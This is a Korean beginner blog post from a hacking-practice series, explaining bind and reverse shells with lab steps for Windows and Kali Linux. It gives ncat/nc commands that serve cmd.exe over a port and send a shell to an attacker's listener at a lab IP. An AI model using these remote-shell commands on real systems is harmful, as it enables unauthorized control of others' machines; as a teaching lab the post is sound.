본문 바로가기

해킹 슈퍼 기초 연습

쉘 털어보기

바인딩 쉘

개념

기본적인 흐름은 다음과 같습니다.

  1. 피해자가 공격자에게 포트를 열어줍니다. 해당 포트로 들어오면 권한을 획득할 수 있습니다.
  2. 공격자가 해당 포트로 접속을 합니다.

물론 피해자가 스스로 열어줄 일은 없으니 이걸 열 수 있도록 공격자가 열심히 조작합니다.

방화벽에서 특정 포트만 허용해 줌으로써 막을 수 있습니다.

실습

리눅스였다면 nc 명령어로 쉽게 할 수 있지만 윈도우는 그 명령어가 없기 때문에 윈도우의 특정 포트를 열어주는 프로그램을 설치합니다. https://github.com/cyberisltd/NcatPortable에 있 ncat.exe를 설치하고 설치한 위치에서 cmd 창을 엽니다.

해당 창에서 ncat.exe -nlvp 7777 -e cmd.exe 를 입력합니다.

 

-n : 호스트명과 포트를 이름이 아닌 숫자로 받습니다.

-l : 듣기 모드로 엽니다.

-v : 더 많은 정보를 출력합니다.

-p : 포트를 연결합니다.

-e cmd.exe : cmd.exe를 실행해서 이것을 건내줍니다.

 

이제 kali리눅스로 이동합니다. 터미널을 열고 nc -nv {윈도우 ip} 7777 를 입력합니다.

nc : 특정 포트를 열어주는 명령어입니다. ncat.exe와 같은 역할입니다.

 

리버스 쉘

개념

위의 바인딩 쉘은 피해자의 특정 포트를 열어두고 공격자가 그 포트로 접속을 했습니다. 하지만 보통 들어오는 포트는 방화벽으로 잘 제한을 해 두는 편이기 때문에 쉽지 않습니다. 그래서 반대로 공격자의 포트를 열고 피해자가 그 포트로 접속을 하도록 하는 방법이 리버스 쉘입니다.

흐름은 다음과 같습니다.

  1. 공격자의 특정 포트를 열어둡니다.
  2. 피해자가 해당 포트로 접속합니다. 이때, 시스템 권한을 함께 넘겨줍니다.

실습

위와 정말 비슷합니다. 먼저 kali 리눅스에서 터미널을 열고 nc -nlvp 7777을 실행합니다.

그리고 윈도우에서 ncat.exe -nv 172.30.1.58 7777 -e cmd.exe를 실행합니다. 그러면 다음과 같이 권한을 얻을 수 있습니다.

 

물론 이 명령어를 피해자가 입력하진 않을 것이기 때문에 이 부분을 공략하는 것이 해커의 일입니다.

'해킹 슈퍼 기초 연습' 카테고리의 다른 글

dvwa 파일 업로드 취약점  (0) 2024.07.07
dvwa sql injection  (0) 2024.07.06
ip 위치 추적  (0) 2024.06.29
kioptrix, DVWA 세팅  (1) 2024.06.22
칼리 리눅스 설치  (0) 2024.06.21